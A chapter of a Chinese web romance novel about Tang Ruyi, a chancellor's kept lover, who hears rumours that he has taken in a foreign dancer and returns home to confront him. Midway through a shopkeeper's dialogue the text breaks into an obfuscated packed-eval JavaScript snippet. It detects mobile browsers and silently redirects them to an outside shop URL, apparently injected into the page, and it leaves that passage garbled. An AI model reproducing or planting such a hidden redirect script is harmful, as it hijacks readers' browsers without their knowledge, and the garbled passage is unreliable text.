张厚诚动作很快,次日便将那西域美姬送去了丞相府,消息传遍了整个京城。
唐如漪彼时正在藏娇阁中研究新的妆容画法,对此浑然不知。
若眉尾向上提一些,跟着黛笔画出的眼线也稍勾,突出那双猫儿似的娇俏圆眼,便显得生动而娇蛮,口脂便用牡丹的艳红,烈火般夺目摄魄。
勾勒出最后一笔,唐如漪满意地看向镜中的自己。
五官还是那副五官,但因为那轻轻的几笔,整个人气质截然不同,倒更像坊间传言中说的,那位勾走了右丞大人魂的狐狸精。
正想要出门去,让平时相熟的妆铺店老板看看她的新妆容,但想到季云升之前说的话,便耷拉下眉,又依依不舍地坐回去。
他今天要来,他不喜欢看到她那些别出心裁的妆容。
一下一下,擦掉那些认真画上去的印记,用清水浸过,直到整张脸再次恢复成清丽白皙的模样。
镜中的她眨巴着大眼睛,眼尾都委屈地耷着,想提前练习露出一个笑容,来迎接即将到来的季云升,努力了几下却是勉强。
索性叹了口气,将琉璃棱镜旋转过去。
本想继续待着等待季云升,但思及他每每都会晚到,经常是夜色沉了才来,又或是公务繁忙直接忘记了与她的约定,唐如漪决定先出门补充一下她的妆奁匣,以告慰她擦掉这个十分满意的妆容所受到伤害的心灵。
反正等她回来时,他大概也还没来吧。
——
相府坐落在京城最中心的地段,距皇宫极近,府邸庄严端正,虽面上不显奢华富丽,每一处装饰材料却无一不是造价高昂。
季云升端坐正厅上首,本欲再拟新政实施的更改方案,都已经召了幕僚来相府议事,却突然想起了什么,说话的声音一顿。
今天,似乎答应了那只小雀儿要早些去找她。
不过晚些也没事,她向来体贴入微,从不在乎这等细枝末节。就算生气了也只是撒撒娇,稍微哄一哄便又会恢复成那副黏人菟丝花的模样,似乎一分一秒都不想与他分开。
受了委屈也只会眼巴巴地看着他,直教人心尖儿发软,恨不得将她狠狠搂在怀里,最好能融入骨血中随身带着才好。
但今日季云升惯常安定闲散的心莫名有些不宁。
他打算提前解散,明日再行商讨。
右丞的心里,并没有麻不麻烦别人白跑一趟之事,只要他想,就立刻去做,几乎没有人敢拦他,也没有人有异议。
那只小雀儿提前看到了他,想必会很欢喜吧。
她会睁着那双水汪汪亮晶晶的眸子,欢欣雀跃地抱住他,小声地诉说着自己今天都做了些什么,发生了哪些趣事,然后再主动踮起脚,脸红红的献上柔软的唇瓣。
想着想着,季云升不由自主勾起了唇角,随意饮下桌上一杯酒。
一股莫名的气味飘散过来,混合香料的味道,让他有些不适地皱起眉。
穿着清凉的美姬戴着面纱,旋着舞步缓缓靠近,正是从她身上散发出的香料味。
是张厚诚给他送来相府的那个西域“宝物”。
“妾身服侍大人用酒。”
纤纤素手提起精巧的酒壶,正欲往杯中添,却被冷淡的声音斥退。
“谁让你进来的。”
美姬愣了愣:“妾身……”
“出去。”
“是。”美姬咬咬牙,有些不甘,但到底是识趣地退出了。
季云升轻飘飘发话:“先散了吧,改良的事明日再议。”
幕僚们愣住,但他们早已习惯了右丞的我行我素,正欲行礼告退,却忽然有一赤红着面庞,明显喝多了的幕僚抚掌大笑道:“大人莫不是急着去陪美娇娘?”
其他人惶恐道:“慎言!阁下慎言!”
那喝大了的幕僚满不在乎地直起腰板:“怕什么?右丞再神仙人物也是个男人啊,我不信他没七情六欲!指不定私下比我们还好女色呢!”
其他幕僚冷汗涔涔,纷纷拱手相让,将接话的活儿推给别人。
最后被推出来接话的人涨红着面色,不知怎么想的辩道:“大人刚刚才斥退了那胡姬,肯定不是重欲之人!”
“切,”喝醉的幕僚十分不屑道:“全京城都知道右丞大人在京中养了个美娇娘,大人日日不在相府待,不就是为了过去陪她吗。我说的可不是这胡姬,是藏娇阁的那位,右丞大人怕不是赶着去见那位吧!”
这下,众人都哑口无言了。
季云升花重金打造了藏娇,在院里豢养着个金丝雀,这是全城都闹得沸沸扬扬的绯事。
虽说连个外室的名分都没有,也从未知道真容,但能在身边从未有女人的季云升跟前待着,想来那位对他来说确实与众不同。
虽说没开口,但他们也觉得,季云升是打算礼钱离席去见那位了。
在他们争论的时候,季云升一直坐在上首,面上浅淡的笑容不变,好似在讨论的人不是他一样。
此刻他终于稍稍坐起,却是改了主意,轻描淡写道:“既然各位不愿,我便同各位今日继续商讨吧。”
众幕僚胆战心惊,哪有什么愿不愿的啊,不都是他一句话的事儿。
那容颜如玉,鼻梁挺秀的红衣青年忽然开口,长眉微敛语气疑惑:“我对她很特殊吗?”
众幕僚面面相觑,然后齐齐点头。
季云升那张漂亮得不似凡人的脸庞露出苦恼的神色,最终他似是寻到了解决的办法,眼前一亮,叹道:“果然我还是太宠她了啊。”
这可不好,该适时地晾一晾她,否则那小雀儿会不知天高地厚,万一再听了几句外面的风言风语,以为自己能做季家主母就不好了。
他不能事事顺着她,被轻轻一叫就过去,撒个娇就忘了她不听话的事儿。
季云升挺喜欢这个小玩意儿,也愿意给她打造个黄金笼,金枝玉叶更胜宫里贵人似的供着,但前提是这只小雀儿要清楚自己的身份地位。
他对自己的思路深以为然。
再次让众人落座,季云升歇了提前回去的念头,让人带那位喝醉酒的幕僚去醒酒,又换上那副悠然自持,一切尽在掌控的姿态,侃侃而谈地讲述着他的改良办法。
——
京城的街市热闹,唐如漪来的这条街上坐落着各式的成衣店,首饰摊,胭脂铺,再过几条街道便是秦楼楚馆的聚集地,最有名的眠月楼也在此处。
她时常光顾胭脂铺,早已和这里的老板混熟,拎着小挎篮进去时,店铺老板赵大娘正在跟一个年轻漂亮的姑娘说话,没注意到她的到来。
“翠姑娘真真是好姿色,我这寻常胭脂水粉在你脸上都像是千金之物一样。”
那姑娘露出个笑容:“大娘谬赞了,我不过是寻常颜色。”
“你就是太谦虚了,”赵大娘也笑道:“寻常颜色怎么惹得王孙贵族争相缠头,我看便是那美上天去的相府胡姬,也很难有眠月楼的活招牌好看。”
那姑娘疑惑道:“相府胡姬?”
赵大娘道:“翠姑娘还不知道?有人给那如日中天的季家家主赠了个美人,送人的那台轿子行事高调,生怕别人不知道似的,闹得沸沸扬扬。”
“现在人已经送去了相府,这会儿都在传那美人是何等的国色天香,竟然能入那位大人的青眼。”
那姑娘语气惊讶:“可是,不是说藏娇阁那位才是要入住季家的吗?”
“嘘,大家都在说,这藏娇阁怕是要易主咯。毕竟这么久以来那儿真正的主人都没露面,谁也不知道金屋之娇是否存在,就算真的存在,这回怕是已经被厌弃了。”
赵大娘唏嘘着,一转眼却看到旁边站着的,不知为何脸色煞白的唐如漪。
“唐姑娘?你什么时候来的?怎么不招呼一声,我跟人聊天都忘了,是来看这边进的新品吗,
哎,唐姑娘你怎么了?脸色怎么这么差?”
赵大娘唤了几声,然而唐如漪跟丢了魂儿似的根本听不见,只兀自跑了。
“唐姑娘!你要上哪儿去?篮子!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218172|197451||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你的篮子忘带了!”
追了几步,然而那道身影已经没入了人群中,赵大娘无奈,只收好了小篮子,待下次她再来时还给她。
——
唐如漪浑浑噩噩地回去,她头昏脑胀,只凭着习惯寻到了藏娇阁。
金丝楠木反射的光晃得她眼睛疼,玉牌匾上的字遒劲有力,每一笔画都透着狂放,却显得格外飘逸好看。
院内静悄悄的,没有人来过的痕迹。
他应该是还未到。
不知为何,唐如漪悄悄松了一口气。
她也不知道这么着急回来是要做什么,是生气质问他是否真的带了胡姬回府,还是因为害怕他万一准时到来了,却因为没看见她而产生厌弃。
果然,他还是没来。
她竟然在某一个瞬间以为,他会因为她听到了这些流言,从而早早赶来解释。
是她错了,季云升那样的性格,根本不会在意这些,也不屑于解释。
心口处酸酸涨涨的,原本热血上头跑回来质问的勇气也消失了,唐如漪垂着脑袋,失魂落魄地走进了主屋内。
屏风后站着个修长如玉的人影,背手而立,右手握着折扇,正弯腰轻轻逗弄着旁边金丝笼里的小鸟儿。
高挺的鼻梁映在屏风上,侧脸轮廓分明,甚至细密的睫毛都清晰可见,光看那道剪影都能想象出此人仪容气质不俗。
听到人来的动静,他逗鸟的动作都没有停顿,只略抬了抬折扇。
“我当小雀儿今日不回来了呢。”
季云升竟是已经到了。
骨节分明的白皙手背探出,青筋微凸,一把拉开了阻挡视线的屏风。
发冠未束,只闲闲用红绸绑起,乌发黑如墨,目若点漆,唇色殷红,一身鲜艳的红衣,皮肤却白如皓雪,好似天地间整个人就剩下红、白、黑三色,浓烈得分明。
一见她薄唇便翘起,那双莫测的看不清情绪的眼眸弯弯,若一池春水化开,漂亮得不似凡人。
“可让我好等。”
唐如漪被噎了一下,满腹询问的话堵在喉头说不出来。
他是不是真的带了个美人回相府?他是不是喜欢上别人了?他时常隔许久都不来,是不是在陪新欢?是她哪里做的不好,不听话惹他厌烦了?难道她违背他的话,偷偷化妆被发现了?
唐如漪的胸口又是酸涩又是埋怨,紧抿着嘴唇不发一言,内心却期盼着他能察觉到她强装镇定外表下的委屈。
然而高高在上的右丞注定不是她期盼的体贴之人。
季云升没发觉她情绪的怪异,上前一步站在她身前,借身高优势居高临下地质问道:
“为何晚归?”
语气斥责,用上了他在官场教训下属时的威压,像是她犯了什么十恶不赦的罪一样。
唐如漪身形摇晃了一下,胸口处传来细细密密的被小针扎过一样的痛感。
这些年来她时常会有这种感觉,每回发作必要缓上很久才能恢复,但为了不让季云升担心,唐如漪一直瞒着没告诉他,生怕这种小事打扰了他。
此刻虽心口处疼痛剧烈,但她仍是强忍着,双手攥成拳,指甲将手心都掐得发白,额上渗出细小的汗珠,勉力控制着自己不要颤抖。
季云升更靠近一步,暗沉的眸子欲色翻滚,高大的身形几乎将她整个人笼罩住。
像是被吸引的磁石一样,他的眼睛牢牢固定在她樱色的柔软唇瓣上,完全没注意到她发白的脸色和额心的汗珠,微阂着双目就要倾身吻下。
唐如漪了解他,他这是又想抱她去榻上了。
季云升也了解她,她从来不会拒绝自己的索取,总是像一滩柔软的水似的任他予取予求,被欺负得狠了也只是红着眼眶,指尖稍微用力,在他脊背上留下抓痕。
不痛不痒,倒让人更想欺负了。
然而这次,唐如漪却微退开了几步,保证自己站在一个不需要仰视他的位置,清丽的小脸上满是认真。
“季云升,我想跟你谈一谈。”